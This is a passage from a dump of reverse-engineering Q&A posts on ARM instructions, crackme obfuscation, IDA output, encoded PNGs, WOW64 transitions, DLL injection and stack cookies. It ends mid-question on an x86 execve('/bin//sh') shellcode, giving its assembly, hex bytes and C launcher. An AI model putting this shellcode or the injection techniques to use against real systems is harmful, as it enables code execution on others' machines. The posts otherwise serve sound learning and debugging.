f.read()\n</code></pre>\n\n<p>And then write the content to a file in binary format using the example above.  </p>\n\n<p>With <code>Resource Hacker</code> you then can remove, add, edit and compile resources in your binary.  </p>\n"
    },
    {
        "Id": "16154",
        "CreationDate": "2017-08-21T09:46:37.757",
        "Body": "<p>I'm trying to understand how ARM <code>add</code> with shift is implemented e.g. </p>\n\n<pre><code>sym.imp.__libc_start_main :                                                                                                                                                           \n\n.plt:0x000082bc 00c68fe2 add ip, pc, 0, 12; after execution ip=0x82c4\n.plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20; after execution ip=0x102c4\n.plt:0x000082c4 48fdbce5 ldr pc, [ip, 0xd48]!\n</code></pre>\n\n<p>I wonder about the line</p>\n\n<pre><code>.plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20;\n</code></pre>\n\n<p>it will add <code>#0x8000</code> to the ip register. My question is why <code>#0x8000</code> ?</p>\n\n<p>I'd assume it will be:</p>\n\n<pre><code>ip = ip + (8&lt;&lt;20)\n</code></pre>\n\n<p>so <code>0x800000</code> but it's more like</p>\n\n<pre><code>ip = ip + (8&lt;&lt;(20-8))\n</code></pre>\n\n<p>Why is that? do I always have to substract 8 from the shift ?</p>\n",
        "Title": "ARM \"add\" instruction with shift",
        "Tags": "|disassembly|assembly|arm|",
        "Answer": "<p>It is proposed in the official document of arm\n<a href=\"https://i.stack.imgur.com/4HSRM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4HSRM.png\" alt=\"arm1\" /></a></p>\n<p>When s = 1 and RD = R15 (PC), this instruction is used to save the status register CPSR, not to do calculation\n<a href=\"https://i.stack.imgur.com/ncauL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ncauL.png\" alt=\"arm2\" /></a></p>\n"
    },
    {
        "Id": "16167",
        "CreationDate": "2017-08-23T13:26:13.797",
        "Body": "<p>I am currently working on some crackme, that has implemented an obfuscation technique, virtualisation. The virtual machine inside this crackme is a huge switch-case block (over 130 cases in it). I have already read dozens of article, but none are making things clear enough.</p>\n\n<p>I have found some info though, that I can find some buffer in memory, containing opcodes, that are native assembly code that are then interpreted by the virtual machine in switch cases block. </p>\n\n<p>Finding them will provide an opportunity to write a small disassembler on any language preferred, where in \"case\"-blocks would be the native operations written, like <code>printf(\"mov eax, dword ptr [ebp-4]\")</code>. That way I can figure out the algorithm of generating and checking the serial. </p>\n\n<p>However, I am stuck on finding that memory location with opcodes. Can anyone advice me something on how to find these, some techniques, or at least some good literature or tutorials on how to deal with such a thing? May be there are some common ways to crack this kind of crackme.</p>\n\n<p>Your help is very much appreciated.</p>\n",
        "Title": "Reverse engineering the virtual machine based crackme",
        "Tags": "|disassembly|crackme|assembly|virtualizers|",
        "Answer": "<p>First of all, the fact to turn a program into a bytecode that will be interpreted by a crafted VM which will be embedded into the software is a quite well-known technique of obfuscation. There have been numerous writings about it.</p>\n<p>If you want to find good pointers about it (and how to solve it in different ways), I would advise you to search for &quot;<em>VM-based obfuscation</em>&quot; on any search engine. It should provide you with a lot of literature about it.</p>\n<p>Now, solving this kind of thing require first to identify the internal language of the machine and then to understand the program that is coded into this language. For now, there have been only very few progress in automating this process and human is still heavily required to guide and understand what is going on in the obfuscated program.</p>\n<p>Yet, one nice thing you can look at is the fact that the VM itself usually looks like another obfuscation called &quot;<em>CFG-flattening</em>&quot; that can be partially processed automatically (even though, I cannot advise you any public tool about it). Anyway, the VM-based obfuscation and the CFG-flattening obfuscation are somehow very close (the CFG-flattening is a subcase of the VM-based obfuscation), so do not hesitate to look at these two techniques and the tricks that may be associated to it.</p>\n<p>Here is a bunch of pointers that you may find relevant:</p>\n<h3>About VM-based obfuscation</h3>\n<ul>\n<li><a href=\"https://recon.cx/2008/a/craig_smith/Neohapsis-VM-101.pdf\" rel=\"noreferrer\">Creating Code Obfuscation Virtual Machines</a>;</li>\n<li><a href=\"http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf\" rel=\"noreferrer\">Unpacking Virtualization Obfuscators</a>;</li>\n<li><a href=\"http://tigress.cs.arizona.edu/\" rel=\"noreferrer\">The Tigress C Diversifier/Obfuscator</a>;</li>\n<li><a href=\"https://github.com/JonathanSalwan/Tigress_protection\" rel=\"noreferrer\">Jonathan Salwan's deobfuscation method using symbolic execution</a> (see also these <a href=\"https://triton.quarkslab.com/files/csaw2016-sos-rthomas-jsalwan.pdf\" rel=\"noreferrer\">slides</a>);</li>\n<li><a href=\"https://www2.cs.arizona.edu/people/debray/Publications/ccs-unvirtualize.pdf\" rel=\"noreferrer\">Deobfuscation of Virtualization-Obfuscated Software: A Semantics-Based Approach</a>;</li>\n</ul>\n<p>Also, this <a href=\"https://reverseengineering.stackexchange.com/questions/7990/writeup-of-reverse-engineering-vm-based-obfuscation\">question</a> in this website is also relevant to look at.</p>\n<h3>About CFG-flattening</h3>\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/2221/what-is-a-control-flow-flattening-obfuscation-technique\">What is a \u201ccontrol-flow flattening\u201d obfuscation technique?</a>;</li>\n<li><a href=\"http://tigress.cs.arizona.edu/transformPage/docs/flatten/\" rel=\"noreferrer\">Control-Flow Flattening</a>;</li>\n<li><a href=\"https://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html\" rel=\"noreferrer\">Deobfuscation: recovering an OLLVM-protected program</a>;</li>\n<li><a href=\"https://www2.cs.arizona.edu/%7Edebray/Publications/unflatten.pdf\" rel=\"noreferrer\">Reverse Engineering Obfuscated Code</a>;</li>\n</ul>\n<p>Of course, you may find more useful links by yourself! Feel free to improve the list on your own! I just hope that these ones will help you a bit.</p>\n"
    },
    {
        "Id": "16178",
        "CreationDate": "2017-08-25T12:13:57.427",
        "Body": "<p>I'm trying to analyze a MS-DOS COM file that I wrote a few years ago with IDA Free 5.0, I've since renamed the segment to <code>code_and_data</code> and named constants and set data types correctly. However, when looking at the disassembly, I get <code>db</code> pseudo-instructions in the listing, like this:</p>\n\n<pre>\ncode_and_data:0106 replacement_irq_handler:                ; DATA XREF: start+81o\ncode_and_data:0106                 cli\ncode_and_data:0107                 push    bx\ncode_and_data:0108                 db      3Eh\ncode_and_data:0108                 cmp     byte ptr ds:3BEh, 'C'\ncode_and_data:010E                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0110                 db      3Eh\ncode_and_data:0110                 cmp     byte ptr ds:3C0h, 'A'\ncode_and_data:0116                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0118                 db      3Eh\ncode_and_data:0118                 cmp     byte ptr ds:3C2h, 'K'\ncode_and_data:011E                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0120                 db      3Eh\ncode_and_data:0120                 cmp     byte ptr ds:3C4h, 'O'\ncode_and_data:0126                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0128                 db      3Eh\ncode_and_data:0128                 cmp     byte ptr ds:3C6h, 'N'\ncode_and_data:012E                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0130                 push    StartOfIndexTable\ncode_and_data:0133                 pop     bx\n</pre>\n\n<p>I understand that there are no additional bytes there, since the <code>db</code> and the <code>cmp</code> instruction after it start at the same address (see left column). Why does IDA show/add those <code>db</code> pseudo-instructions?</p>\n\n<p>Is there any way to tell it to not show those, or is there a reason why it might be useful (I could only guess that since the same segment is both used for code and data, it tries to be \"helpful\" and show the code as data as well)?</p>\n\n<p>But if so, why does it only show the first byte of the instruction (if you look at the addresses on the left again, these instructions are longer than 1 byte).</p>\n",
        "Title": "Why does IDA add \"db\" statements between disassembled code",
        "Tags": "|ida|disassembly|x86|dos-com|",
        "Answer": "<p>The byte <code>3Eh</code> is the encoding of the segment override <code>DS:</code>. You observe it in an instruction like</p>\n\n<pre><code>cmp     byte ptr ds:3BEh, 'C'\n</code></pre>\n\n<p>The hex encoding of this instruction is (I did this manually, some bit might be wrong)</p>\n\n<pre><code>3E    - segement override prefix\n80    - 8 bit ALU instruction\n3E    - mod/rm byte (reg = 7 -&gt; instruction is CMP, mod = 0/rm = 6 -&gt; immediate address)\nBE 03 - offset of data to compare\n43    - immediate data byte\n</code></pre>\n\n<p>The sequence <code>3E 80 3E BE 03 53</code> is 6 bytes long, which matches the actual instruction length of 6 bytes (<code>010Eh - 0108h</code>). If you assemble the assembler source code as given by IDA using a standard x86 assembler (like <code>MASM</code>), the <code>DS:</code> prefix will be ommitted, because the addressing mode \"immediate address\" is relative to the data segment <em>by default</em>. IDA shows the extra <code>DB</code> instruction to tell you (or an assembler that tries to re-assemble the listing) that the redundant, superflous segment prefix is actually encoded in the binary. If you want to hide that information, check Options -> General -> Analysis -> \"Processor specific analysis options\" -> \"Don't display redundant instruction prefixes\".</p>\n"
    },
    {
        "Id": "16182",
        "CreationDate": "2017-08-25T20:43:45.057",
        "Body": "<p>I am unable to open PNG files extracted from a certain Android app. I can't open them with the stock Android Gallery app. I can't open them in image browsers after downloading them on my computer. Analyzing the files with pngcheck results in <code>this is neither a PNG or JNG image nor a MNG stream</code> error.</p>\n\n<p>The files in question were extracted with apktool. Extracting them directly from device cache leads to the same problem.</p>\n\n<p>Further investigation with a hex editor shows that the files are missing the PNG signature and the IHDR chunk, which are normally present in a valid PNG file.</p>\n\n<p>Here are the headers and first few lines of both files:</p>\n\n<p><code>41 6E 74 6D 02 C5 01 DB FB C3 AB 00 00 00 00 00 63 BA A4 AD E7 E0 F0 E0 EA EA EA E7 A3 A2 AE B8 EA EA EA AA EA EA EA AA E2 E9 EA EA EA 77 5D 6B 06 EA EA EA EE 8D AB A7 AB EA EA 5B 65 E1 16 8B EF EA EA EA EB 99 B8 AD A8 EA 44 24 F6 03 EA EA E8 8B BA A6 BE AF EB F3 EA EA E5 EA EA FE EA EB F1 EA 09 13 3F E8 F4 EB EA E0 EA 0A 12 38 EA F8 EA E8 CB EB 34 1D 25 EB FD EA 31 1C 26 05 11 0C 1F 17 07 EA CE EA 32 1F 22 3E 1E 2F EA EF EA EA 07 00 00 0C 00 E9 FB DD 00 6E 00 10 68 07 E4 F9 D7 05 24 02 01 6B 00 0B 43 05 00 09 00 00 30 00 00 28 00 07 34 03 18 9B 0B 0F 62 07 01 73 00 07 39 03 ED FC E3 0D 57 06 E7 FA DB 0C 52 05 13 70 08 F2 FD EA EB FB E0 E6 F9 D9 00 2C 00 08 7C 03 C1 EB B1 06 2C 03 07 30 03 A3 DF 95 01 50 00 0A 3E 04 0F 5C 07 11 78 07 10 8B 07 04 78 01 2D B8 ...</code></p>\n\n<p><code>41 6E 74 6D 02 09 01 77 D9 ED AB 00 00 00 00 00 63 BA A4 AD E7 E0 F0 E0 EA EA EA E7 A3 A2 AE B8 EA EA EA 98 EA EA EA 98 E2 E9 EA EA EA 52 E9 9F A5 EA EA EA EE 8D AB A7 AB EA EA 5B 65 E1 16 8B EF EA EA EA EB 99 B8 AD A8 EA 44 24 F6 03 EA EA E9 EA BA A6 BE AF A6 83 9B 6F BF C6 6F BF C1 57 E2 ED 81 6A 22 02 C9 C9 9A D9 F5 68 29 1B 6E BC C1 6F 80 62 6C B9 C1 14 4A 4E 81 68 2D 53 9B D4 14 14 14 34 2D 3D 81 6B 23 B2 81 77 03 32 0B 68 C2 F0 AE DB F3 B7 99 AE CB A7 C3 3E BC BF ED 93 51 02 A3 00 B9 73 39 B0 6D 38 E0 CB DA FF FE FF CD A5 C5 C6 A1 BD 81 BF EE 2B 53 81 2D 56 86 84 0E 0A FE 5D 65 BB 96 B2 98 3C 50 25 4A 7A 79 41 2B E6 D6 E3 D2 15 15 FE 9C A2 83 4D 27 AF 8C A7 5A 41 26 B7 71 3D 32 65 A7 DE C9 D8 D0 11 10 D8 BF D1 CA 0A 09 CE 16 15 62 3B 29 83 68 85 CC A7 ...</code></p>\n\n<p>By comparison, here's the beginning of an example valid PNG:</p>\n\n<p><code>89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 ...</code></p>\n\n<p>Interestingly, both files have IDAT and IEND chunks.</p>\n\n<p>I am only interested in viewing the files. How can I \"repair\" them so they can be opened in normal image viewers?</p>\n\n<hr>\n\n<p>EDIT: I played with the files over the weekend and I arrived at the similar conclusions. I've decided to focus entirely on IDAT chunks. Here's what I found so far.</p>\n\n<p>I looked for <code>00</code> bytes that are evenly spaced. This allowed me to find scanlines of equal size.</p>\n\n<p>Since I know the full size of the IDAT chunk and the number of scanlines (height), I can guess width and they layout of pixels. Using truecolor pixels ended up with overstretched images. Using greyscale pixels was more promising, but well, it's greyscale - and I'm interested in color files.</p>\n\n<p>Could it be that the colors are indexed with a palette?</p>\n",
        "Title": "Opening non-standard PNG files extracted from Android app - missing signature and IHDR chunk",
        "Tags": "|android|file-format|apk|",
        "Answer": "<p>The first 16 bytes are unknown (likely some kind of private data). After that, a regular PNG file follows, but the first 128 bytes have been XORed with the value 234. The rest of the file is unchanged.</p>\n\n<p>My reason for suspecting a simple XOR was the series of <code>0xEA</code> bytes near the start; typically there would be zeroes there. Applying the XOR in a hex viewer immediately showed the familiar <code>\u2030PNG</code> signature, followed by the missing <code>IHDR</code> and <code>PLTE</code>, and a series of nulls where previously <code>0xEA</code> appeared. As that series of nulls changed halfway back to <code>0xEA</code>, this indicated that only part of the file was thus obscured. Counting bytes did the rest.</p>\n\n<p>Unencoding is thus as simple as discarding the first 16 bytes, XORing the next 128 bytes with 234, and copying the entire rest unchanged.</p>\n\n<p>Encoding is theoretically possible, but for that to work, you need to know the meaning of the first 16 bytes. (It could be that these bytes are always the same, or are different in some way.)</p>\n\n<p>Here is an example in its unencoded form, \"levelselect/map_1.png\":</p>\n\n<p><a href=\"https://i.stack.imgur.com/gz9v7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gz9v7.png\" alt=\"a randomly selected image\"></a></p>\n\n<p>as unencoded by the following quick-and-dirty Python program:</p>\n\n\n\n<pre><code>import sys\n\nif len(sys.argv) == 2:\n  with open(sys.argv[1], 'rb') as orig:\n    # skip first 16 bytes\n    orig.seek(16)\n    # read in the rest\n    data = bytearray(orig.read())\n    # xor first 128 bytes with 0xea\n    for x in range(0,128):\n      data[x] ^= 0xea\n    # write to new file\n    with open(sys.argv[1]+'.fixed.png', 'wb') as fixed:\n      fixed.write(data)\n</code></pre>\n\n<p>(I did not test this routine on <em>all</em> of the files.)</p>\n"
    },
    {
        "Id": "16200",
        "CreationDate": "2017-08-28T11:22:25.693",
        "Body": "<p>There is surprisingly little information about Windows WOW64 mechanism.<br>\nI'm trying to investigate it. </p>\n\n<p>So when we have system call in 32-land, it calls an address that is stored in <code>FS</code>, which leads us to a weird <code>jmp</code> with <code>033:</code> prefix.<br>\nIf I understand correctly, this jump is transferring us to 64-land, but still on user-mode. The jump to kernel-mode should happen afterwards.</p>\n\n<p>I want to follow this jump. My debugger doesn't do that. How can I do it?</p>\n",
        "Title": "How to investigate Windows 32/64bit (WOW64) transition",
        "Tags": "|windows|debugging|x86|anti-debugging|x86-64|",
        "Answer": "<p>The technique of jumping to 64bit code from a 32bit WOW64-ed process is commonly called \"Heaven's gate\" when performed manually. This is usually done to use 64bit features (such as manipulating 64bit processes by calling 64bit versions of windows APIs) or by malware to make debugging more difficult, which is coincidentally what you seem to be experiencing ;).</p>\n\n<p>Searching for that term online may yield more results.</p>\n\n<p>Most user-mode debuggers indeed don't handle that transition well for multiple reasons (one being the debugger assumes a 32bit process, while you're now executing 64bit code, another being user-mode debugging APIs don't support that).</p>\n\n<p><em>TL;DR:</em> The \"solution\" for that situation is to debug using a debugger that explicitly made the effort to support 32 and 64 bit interleaved processes. Although this is often easier for a kernel mode debugger), such as windbg, or other debuggers that support both 32 and 64 bit modes (<s>x64dbg should be able to do it, although I never tried</s> As mentioned in the comments x64dbg is unable to do that).</p>\n\n<h1>A brief explanation of Heaven's gate</h1>\n\n<p>There's a special DLL loaded into 32bit processes on 64bit windows environments, this DLL is <code>wow64cpu.dll</code>. This DLL is responsible for most of the WOW64 magic, and specifically for implementing the transition from 32 to 64 bit inside 32 bit processes (WOW64-ed processes).</p>\n\n<p>This is mandatory because as the operating system is natively 64 bit, all utilities, APIs and low level functionalities are implemented using 64 bit code (otherwise what's the point of having 64 bit OSes??). Therefore, every time an WOW64-ed process requires a OS assistance, it must first translate from 32bit CPU mode to 64 bit CPU mode.</p>\n\n<h2>So, how's the transition done, and what's that wow64cpu.dll you mentioned got to do with it?</h2>\n\n<p>To make a long story short, the value at <code>fs:[0c0h]</code> is set to an address inside <code>wow64cpu.dll</code>. This field is called <code>WOW32Reserved</code> and it points to a far jump to a specific address, using the <code>033</code> segment. Changing the segment selector to <code>33</code> (from <code>23</code>, which is used for 32bit code) does not change the code selector or the base addressing, you're merely changing the <a href=\"https://en.wikipedia.org/wiki/Global_Descriptor_Table\" rel=\"noreferrer\">GDT</a> entry used to execute the target code, specifically - you replace the 4th GDT with the 6th.</p>\n\n<p>GDT entries 4 and 6 only differ in a couple of flags being set - those controlling whether the CPU is executing in 16, 32, and 64 modes (well, those GDT entries only have flags set for 32 and 64 bit modes, but transitioning to 16 bit can be achieved in a similar manner).</p>\n\n<h1>Where to go on from here?</h1>\n\n<p>As this is a big and complicated topic, I prefer redirecting you to relevant articles over touching the low-level details in here more than I already did. Here are several useful articles, on the more theoretical side of things:</p>\n\n<ol>\n<li><a href=\"https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html\" rel=\"noreferrer\">Explanation of the \"weird jump to <code>33:</code> segment\"</a>.</li>\n<li><a href=\"http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/\" rel=\"noreferrer\">Explanation of the entire WOW64 mechanism from the process's perspective, including how to debug it to see it happening</a>.</li>\n<li><a href=\"http://vxheaven.org/lib/vrg02.html\" rel=\"noreferrer\">A very brief explanation of the flow executed, and the article historically keying the term \"Heaven's gate\"</a>.</li>\n<li><a href=\"http://www.alex-ionescu.com/?p=300\" rel=\"noreferrer\">Another in-depth explanation</a>.</li>\n<li>The Windows Internals book series.</li>\n</ol>\n\n<p>Additionally, here are several actual open source implementations of natively executing 64 bit code inside <code>WOW64</code>-ed 32 bit process:</p>\n\n<ol>\n<li><a href=\"https://gist.github.com/Cr4sh/76b66b612a5d1dc2c614\" rel=\"noreferrer\">This</a> is a code snippet that implements some direct 64 bit OS operations.</li>\n<li><a href=\"http://github.com/rwfpl/rewolf-wow64ext\" rel=\"noreferrer\">This</a> is a full blown heaven's gate implementation.</li>\n<li><a href=\"https://github.com/dadas190/Heavens-Gate-2.0\" rel=\"noreferrer\">This</a> is another, later, full blown heaven's gate implementation.</li>\n</ol>\n"
    },
    {
        "Id": "16209",
        "CreationDate": "2017-08-29T00:50:02.310",
        "Body": "<p>I am trying to do windows kernel debugging with VirtualBox and WinDBG. But every time I hit a breakpoint the virtual machine CPU usage skyrockets and the CPU registers do not show up in WinDBG. Am I doing something wrong?</p>\n\n<p>What I have done:</p>\n\n<ol>\n<li>In <code>boot.ini</code> I set <code>/debugport=COM1 /baudrate=115200</code>;</li>\n<li>In VirtualBox I forwarded <code>COM1</code> to a named pipe <code>\\\\.\\pipe\\debug</code>;</li>\n<li>In WinDBG File > <code>Kernel Debug...</code> > <code>COM</code> tab: Ticked the \"Pipe\" check box, and for the <code>Port = \\\\\\\\.\\pipe\\debug</code>;</li>\n</ol>\n\n<p>In WinDBG the debug session is found, and I can hit breakpoints, I can step through code, I can see the disassembled code in the \"Disassembly window\", and I can view memory locations in the \"Memory window\". But nothing shows up in WinDBG \"Registers window\".</p>\n\n<p>The Host OS is Windows 10 and for the Virtual Guest OS i tried both Windows XP and Windows 7 both have the same issue.</p>\n\n<p>I am really not sure where to look for answers to this issue, could anyone point me in the right direction ?</p>\n\n<p>For anyone else having this issue or trying to learn kernel debugging i used parts from the following tutorials to get to where I am so far:</p>\n\n<ol>\n<li><a href=\"https://www.virtualbox.org/wiki/Windows_Kernel_Debugging\" rel=\"nofollow noreferrer\">Windows Kernel Debugging Tips</a> (Virtualbox documentation);</li>\n<li><a href=\"https://www.welivesecurity.com/2017/03/27/configure-windbg-kernel-debugging/\" rel=\"nofollow noreferrer\">How to configure WinDbg for kernel debugging</a> (blogpost).</li>\n</ol>\n",
        "Title": "Slow kernel dbg with VirtualBox and WinDBG",
        "Tags": "|debugging|windbg|virtual-machines|kernel|",
        "Answer": "<p>Fixed the issue this was a two part problem.</p>\n\n<ol>\n<li>Avast anti virus was slowing down the VM to a crawl\nsolution uninstall avast or in some cases DISABLE the option: Settings > Troubleshooting > \"Enable hardware assisted visualization\"</li>\n<li>There is a bug in newer versions of WinDBG when debugging older versions of windows\nsolution use an older version of WinDBG, or use the WinDBG command \"r\" to view the cpu registers rather than using the \"Registers window\", or use a WinDBG plugin to fix the issue\n<a href=\"https://stackoverflow.com/questions/35961246/windbg-not-showing-register-values\">https://stackoverflow.com/questions/35961246/windbg-not-showing-register-values</a></li>\n</ol>\n"
    },
    {
        "Id": "16218",
        "CreationDate": "2017-08-30T03:17:33.920",
        "Body": "<p>How can you call a game function inside a function hook? </p>\n\n<p>For example, I hooked the recv function of winsock. Then, I examined a packet. This packet has the value of my current hp. I check the hp. If it's lower than the constant hp threshold I will call a game function that uses an item to heal my hp.\nIs it possible to call that game function without crashing the application?</p>\n\n<p>I tried and watch the execution in the debugger it's calling the game function of use item. However, it crashes the application. I think it's probably because of registers? The stack is fine btw.</p>\n\n<p>I'm wondering why I when calling the send function of winsock inside the recv function does not crash. But when I call a game function other than send it crashes. Is it because i'm in a different module? or You can't call a function in a different module? But I followed the execution in the debugger and when the call to use item is executed it really goes to that function. Help me please.</p>\n",
        "Title": "Calling a function of a game inside a function hook",
        "Tags": "|ida|disassembly|windows|c++|function-hooking|",
        "Answer": "<p>In addition to Igor's answer I would like to suggest an alternative approach:</p>\n\n<p>If the function you're trying to call indeed expects some additional preparations, specific conditions for global game state variables, etc. It might be easier for you to just reverse engineer the function you're trying to call and implement the modification and state changes you desire yourself. This might be as easy as figuring out your character structure's memory location and modifying the health parameter with your own code.</p>\n\n<p>One other point to consider is that it might happen to be that the state and condition requirements set by the function you're trying to call might be more complex than just passing along the right parameters. It could expect global variables to be initialized which might only happen in later stages of the game, for example.</p>\n\n<p>Lastly, you might have a bug related to the way you process the received message and have hidden assumptions about the state of the game while these messages arrive. Writing careful code that validates the expected conditions might both help you diagnose the issue at hand as well as remediate it by avoiding the call in faulty circumstances.</p>\n"
    },
    {
        "Id": "16230",
        "CreationDate": "2017-09-01T07:53:38.277",
        "Body": "<p>I created a program that performs DLL injection. It does that by opening the process with <code>OpenProcess</code>, writes the DLL path to the process and creates a remote thread with <code>CreateRemoteThread</code> with the dll as a parameter.(The DLL just spawns a messagebox). It works just fine but the problem is the second time i can't see the messagebox. The functions <code>OpenProcess</code>, <code>CreateRemoteThread</code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code> all return true but i can't see the thread being created and the DLL does not run.</p>\n\n<p>Thanks.</p>\n",
        "Title": "DLL Injection does not work twice",
        "Tags": "|dll|dll-injection|thread|process|",
        "Answer": "<p>Calling <code>LoadLibrary</code> twice with the same DLL name only increases the load counter but does not cause DLL entrypoint to be called again. From <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175\" rel=\"nofollow noreferrer\">the doc</a> (emphasis mine):</p>\n\n<blockquote>\n  <p>If the specified module is a DLL that is <strong>not already loaded</strong> for the\n  calling process, the system calls the DLL's DllMain function with the\n  DLL_PROCESS_ATTACH value. If DllMain returns TRUE, LoadLibrary returns\n  a handle to the module. If DllMain returns FALSE, the system unloads\n  the DLL from the process address space and LoadLibrary returns NULL.\n  It is not safe to call LoadLibrary from DllMain. For more information,\n  see the Remarks section in DllMain.</p>\n</blockquote>\n\n<p>So if you need to execute your code again you'll have to do it explicitly, <code>LoadLibrary</code> won't do it for you. </p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>One possible solution could be to use the address of the function in your (already loaded) DLL instead of <code>LoadLibrary</code> as the address of the second dinjected thread.</p>\n"
    },
    {
        "Id": "16241",
        "CreationDate": "2017-09-02T15:57:17.947",
        "Body": "<p>I am currently looking at a function inside a Win32 executable's main module. After allocating memory on the stack (sub esp) and saving some registers on the stack, the value of esp is XORed with a global variable.</p>\n\n<pre><code>mov eax, esp\nxor eax, DWORD PTR ds:[&lt;some address&gt;]\npush eax\n</code></pre>\n\n<p>I wonder whether this is some kind of stack protection technique?</p>\n\n<p>Edit: I wrote the question from memory. The actual instruction sequence is:</p>\n\n<pre><code>sub esp, 0xf0\nmov eax, DWORD PTR ds:[&lt;some address&gt;]\nxor eax, esp\nmov DWORD PTR ss:[esp+0xec], eax\n</code></pre>\n",
        "Title": "What could be the purpose of XORing esp with a global variable? (stack canary protection)",
        "Tags": "|disassembly|windows|x86|buffer-overflow|stack|",
        "Answer": "<p>Yes, this is Microsoft's stack overflow protection, commonly known as \"GS cookie\". From <a href=\"http://go.microsoft.com/fwlink/?linkid=7260\" rel=\"noreferrer\"><em>Compiler Security Checks In Depth</em></a>:</p>\n\n<blockquote>\n  <p>When the function is compiled with /GS, the functions prolog will set\n  aside an additional four bytes and add three more instructions as\n  follows:</p>\n\n<pre><code>sub   esp,24h\nmov   eax,dword ptr [___security_cookie (408040h)]\nxor   eax,dword ptr [esp+24h]\nmov   dword ptr [esp+20h],eax\n</code></pre>\n  \n  <p>The prolog contains an instruction that fetches a copy of the cookie,\n  followed by an instruction that does a logical xor of the cookie and\n  the return address, and then finally an instruction that stores the\n  cookie on the stack directly below the return address. From this point\n  forward, the function will execute as it does normally. When a function returns, the last thing to execute is the function\u2019s epilog, which is the opposite of the prolog. </p>\n  \n  <p>When compiled with /GS, the security checks are also placed in the\n  epilog:</p>\n\n<pre><code>mov   ecx,dword ptr [esp+20h]\nxor   ecx,dword ptr [esp+24h]\nadd   esp,24h\njmp   __security_check_cookie (4010B2h)\n</code></pre>\n  \n  <p>The stack's copy of the cookie is retrieved and then follows with the\n  XOR instruction with the return address. The ECX register should\n  contain a value that matches the original cookie stored in the\n  __security_cookie variable. The stack space is then reclaimed, and then, instead of executing the RET instruction, the JMP instruction to\n  the __security_check_cookie routine is executed.</p>\n</blockquote>\n"
    },
    {
        "Id": "16244",
        "CreationDate": "2017-09-02T16:52:26.703",
        "Body": "<p>I have this piece of ASM:</p>\n\n<pre><code>section .text\n    global _start\n\n_start:\n    xor  eax, eax\n    push eax         ; 0 to finish the /bin//sh string\n    push 0x68732f2f  ; //sh\n    push 0x6e69622f  ; /bin\n    mov  ebx, esp\n    mov  al, 0xb\n    int  0x80\n</code></pre>\n\n<p>Which works fine if I do:</p>\n\n<pre><code>$ nasm -f elf shellcode.asm &amp;&amp; ld -o shellcode shellcode.o\n$ ./shellcode\n$ # the new shell\n</code></pre>\n\n<p>But now, with the hex translation:</p>\n\n<pre><code>$ objdump -s shellcode\n\nshellcode:     file format elf32-i386\n\nContents of section .text:\n  8048060 31c05068 2f2f7368 682f6269 6e89e3b0  1.Ph//shh/bin...\n  8048070 0bcd80                               ...\n</code></pre>\n\n<p>Used here:</p>\n\n<pre><code>const char shellcode[] = \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\";\n\nint main(){\n    (*(void(*)()) shellcode)();\n    return 0;\n}\n</code></pre>\n\n<p>The result is:</p>\n\n<pre><code>$ gcc -o shellcode shellcode.c\n$ ./shellcode\nSegmentation fault\n</code></pre>\n\n<p>I tried to practice my ASM and re-create the one <a href=\"http://shell-storm.org/shellcode/files/shellcode-827.php\" rel=\"nofollow noreferrer\">provided here</a>. The difference, which I can't explain, is that on his payload, he's pushing the an extra <code>0</code> and the address of the <code>/bin//sh</code> string into the stack.</p>\n\n<p>I though that because I was using the fastcall convention, I didn't have to setup the stack, but apparently there's more going on here.</p>\n\n<p>Does anyone know why the shellcode refuses to run and why setting the stack changes \"correct\" it?</p>\n\n<hr>\n\n<p>Edits:</p>\n\n<p>When I try to run the program from <code>gdb</code> I have the following result:</p>\n\n<pre><code>$ gdb ./shellcode\n(gdb) run\nProgram received signal SIGSEGV, Segmentation fault.\n0x080484b3 in shellcode ()\n</code></pre>\n\n<p>And here's the <code>readelf</code> command output:</p>\n\n<pre><code>$ readelf -l -S shellcode\nThere are 30 section headers, starting at offset 0x1150:\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1\n  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4\n  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4\n  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4\n  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000040 10   A  6   1  4\n  [ 6] .dynstr           STRTAB          0804820c 00020c 000045 00   A  0   0  1\n  [ 7] .gnu.version      VERSYM          08048252 000252 000008 02   A  5   0  2\n  [ 8] .gnu.version_r    VERNEED         0804825c 00025c 000020 00   A  6   1  4\n  [ 9] .rel.dyn          REL             0804827c 00027c 000008 08   A  5   0  4\n  [10] .rel.plt          REL             08048284 000284 000010 08   A  5  12  4\n  [11] .init             PROGBITS        08048294 000294 000023 00  AX  0   0  4\n  [12] .plt              PROGBITS        080482c0 0002c0 000030 04  AX  0   0 16\n  [13] .text             PROGBITS        080482f0 0002f0 000192 00  AX  0   0 16\n  [14] .fini             PROGBITS        08048484 000484 000014 00  AX  0   0  4\n  [15] .rodata           PROGBITS        08048498 000498 00001c 00   A  0   0  